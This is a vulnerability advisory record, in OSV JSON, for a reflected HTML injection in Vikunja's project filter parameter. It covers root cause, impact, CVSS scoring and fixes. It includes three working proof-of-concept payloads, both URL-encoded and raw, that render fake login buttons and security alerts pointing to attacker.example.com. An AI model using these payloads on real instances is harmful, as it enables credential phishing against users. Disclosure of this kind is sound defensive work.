{"id":"GHSA-4qgr-4h56-8895","summary":"Vikunja has Reflected HTML Injection via filter Parameter in its Projects Module","details":"## Summary\n\n[Vikunja](https://github.com/go-vikunja/vikunja) is an open-source self-hosted task management platform with 3,300+ GitHub stars. A reflected HTML injection vulnerability exists in the Projects module where the `filter` URL parameter is rendered into the DOM without output encoding when the user clicks \"Filter.\" While `\u003cscript\u003e` and `\u003ciframe\u003e` are blocked, `\u003csvg\u003e`, `\u003ca\u003e`, and formatting tags (`\u003ch1\u003e`, `\u003cb\u003e`, `\u003cu\u003e`) render without restriction — enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin.\n\n**Attack flow:** Attacker shares a crafted project filter link (routine Vikunja workflow) → victim opens it → victim clicks \"Filter\" (standard UI action) → phishing content renders inside trusted Vikunja interface.\n\n## Affected Component\n\n| Field | Detail |\n|---|---|\n| Application | Vikunja v1.1.0 |\n| Module | Projects |\n| Endpoint | `/projects/-1/-1?filter=PAYLOAD&page=1` |\n| Parameter | `filter` (GET) |\n| Trigger | Click \"Filter\" button |\n| Stack | Go backend, Vue.js + TypeScript frontend |\n| Blocked | `\u003cscript\u003e`, `\u003ciframe\u003e` |\n| Allowed | `\u003csvg\u003e`, `\u003ca\u003e`, `\u003crect\u003e`, `\u003ctext\u003e`, `\u003ch1\u003e`, `\u003cb\u003e`, `\u003cu\u003e` |\n\n## Proof-of-Concept\n\n### PoC-1: SVG Phishing Button (Highest Impact)\n\nRenders a styled, clickable red button redirecting to attacker domain. Visually indistinguishable from a real UI button.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Csvg%20width%3D%22400%22%20height%3D%2260%22%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%3Crect%20width%3D%22400%22%20height%3D%2260%22%20rx%3D%224%22%20fill%3D%22%23d32f2f%22%3E%3C%2Frect%3E%3Ctext%20x%3D%22200%22%20y%3D%2237%22%20text-anchor%3D%22middle%22%20fill%3D%22white%22%20font-size%3D%2216%22%3ESession%20Expired%20-%20Click%20to%20Re-authenticate%3C%2Ftext%3E%3C%2Fa%3E%3C%2Fsvg%3E&page=1\n```\n\nRaw payload:\n```html\n\u003csvg width=\"400\" height=\"60\"\u003e\u003ca href=\"https://attacker.example.com/login\"\u003e\u003crect width=\"400\" height=\"60\" rx=\"4\" fill=\"#d32f2f\"\u003e\u003c/rect\u003e\u003ctext x=\"200\" y=\"37\" text-anchor=\"middle\" fill=\"white\" font-size=\"16\"\u003eSession Expired - Click to Re-authenticate\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e\n```\n\n### PoC-2: Phishing Link via Heading + Anchor\n\nProminent clickable link styled as urgent system message.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Ca%20href%3D%22https%3A%2F%2Fattacker.example.com%2Flogin%22%3E%E2%9A%A0%20Your%20session%20has%20expired.%20Click%20here%20to%20sign%20in%20again.%3C%2Fa%3E%3C%2Fh1%3E&page=1\n```\n\nRaw payload:\n```html\n\u003ch1\u003e\u003ca href=\"https://attacker.example.com/login\"\u003e⚠ Your session has expired. Click here to sign in again.\u003c/a\u003e\u003c/h1\u003e\n```\n\n### PoC-3: Content Spoofing — Fake Security Alert\n\nFake security warning directing victim to attacker-controlled contact.\n\n```\nhttp://localhost:3456/projects/-1/-1?filter=%3Ch1%3E%3Cu%3E%3Cb%3E%E2%9A%A0%20SECURITY%20ALERT%3C%2Fb%3E%3C%2Fu%3E%3C%2Fh1%3E%3Cb%3EUnauthorized%20access%20detected%20on%20your%20account.%20Your%20account%20will%20be%20suspended%20in%2024%20hours.%20Contact%20IT%20security%20immediately%20at%20security%40attacker.example.com%20or%20visit%20https%3A%2F%2Fattacker.example.com%2Fverify%20to%20confirm%20your%20identity.%3C%2Fb%3E&page=1\n```\n\nRaw payload:\n```html\n\u003ch1\u003e\u003cu\u003e\u003cb\u003e⚠ SECURITY ALERT\u003c/b\u003e\u003c/u\u003e\u003c/h1\u003e\u003cb\u003eUnauthorized access detected on your account. Your account will be suspended in 24 hours. Contact IT security immediately at security@attacker.example.com or visit https://attacker.example.com/verify to confirm your identity.\u003c/b\u003e\n```\n\n## Root Cause\n\nThe `filter` parameter is inserted into the DOM as raw HTML — likely via Vue.js `v-html` or `innerHTML`. A partial denylist strips `\u003cscript\u003e` and `\u003ciframe\u003e` but does not encode output or filter SVG/anchor/formatting elements. No allowlist, no output encoding, no input syntax validation exists.\n\n## Impact\n\n| Impact | Description |\n|---|---|\n| SVG Phishing Buttons | Pixel-perfect fake buttons redirect to credential harvesting pages |\n| External Redirect | Anchor tags point to attacker domains from within trusted origin |\n| Content Spoofing | Fake alerts manipulate users into contacting attacker channels |\n| Self-Hosted Risk | Compromised credentials may grant access to internal infrastructure |\n| API Access | Same credentials grant full REST API access for data exfiltration |\n| No Logging | GET-based reflected injection leaves no distinguishable server logs |\n\n**Not Self-XSS:** Payload is attacker-controlled via URL, delivered through routine link sharing, triggered by standard UI interaction. Victim performs no security-relevant decision.\n\n## CWE & CVSS\n\n**CWE-79** (Primary) — Improper Neutralization of Input During Web Page Generation\n\n**CWE-80** (Secondary) — Improper Neutralization of Script-Related HTML Tags\n\n**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` — **6.1 (Medium)**\n\nScore understates risk because: user interactions are routine workflow (not security decisions), SVG enables pixel-perfect UI spoofing, self-hosted deployments expose internal infrastructure, and API credential equivalence enables automated data exfiltration.\n\n## Remediation\n\n| Priority | Action |\n|---|---|\n| P0 | Replace `v-html` with `v-text` or `{{ }}` interpolation (auto-escapes HTML) |\n| P0 | HTML entity encode the `filter` value at rendering point |\n| P1 | Replace denylist with DOMPurify strict allowlist or eliminate HTML rendering of filter values |\n| P1 | Deploy CSP with `form-action 'self'` |\n| P2 | Server-side input validation — reject filter values not matching expected syntax |\n\n## References\n\n- Vikunja Repository: https://github.com/go-vikunja/vikunja\n- CWE-79: https://cwe.mitre.org/data/definitions/79.html\n- CWE-80: https://cwe.mitre.org/data/definitions/80.html\n- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Conclusion\n\nThe `filter` parameter in Vikunja's Projects module renders unsanitized HTML into the DOM, enabling SVG-based phishing buttons, external redirect links, and content spoofing within the trusted application origin. The attack requires only routine workflow actions — opening a shared link and clicking \"Filter.\" The fix is a single-line change: replacing `v-html` with `v-text` in the Vue.js rendering logic. Given Vikunja's adoption (3,300+ stars), self-hosted deployment model, and API credential equivalence, this warrants prompt remediation.\n\n\u003cimg width=\"1920\" height=\"1020\" alt=\"image\" src=\"https://github.com/user-attachments/assets/007f9b1a-fd20-4fe8-84e5-1bf886a5a7a9\" /\u003e\n\nA fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.","aliases":["CVE-2026-27116","GO-2026-4552"],"modified":"2026-03-19T08:48:12.770277Z","published":"2026-02-25T22:01:25Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-02-25T22:01:25Z","nvd_published_at":"2026-02-25T22:16:24Z","cwe_ids":["CWE-116","CWE-79","CWE-80"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-4qgr-4h56-8895"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-27116"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/commit/a42b4f37bde58596a3b69482cd5a67641a94f62d"},{"type":"WEB","url":"https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html"},{"type":"PACKAGE","url":"https://github.com/go-vikunja/vikunja"},{"type":"WEB","url":"https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0"},{"type":"WEB","url":"https://vikunja.io/changelog/vikunja-v2.0.0-was-released"}],"affected":[{"package":{"name":"code.vikunja.io/api","ecosystem":"Go","purl":"pkg:golang/code.vikunja.io/api"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.24.6"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-4qgr-4h56-8895/GHSA-4qgr-4h56-8895.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"}]}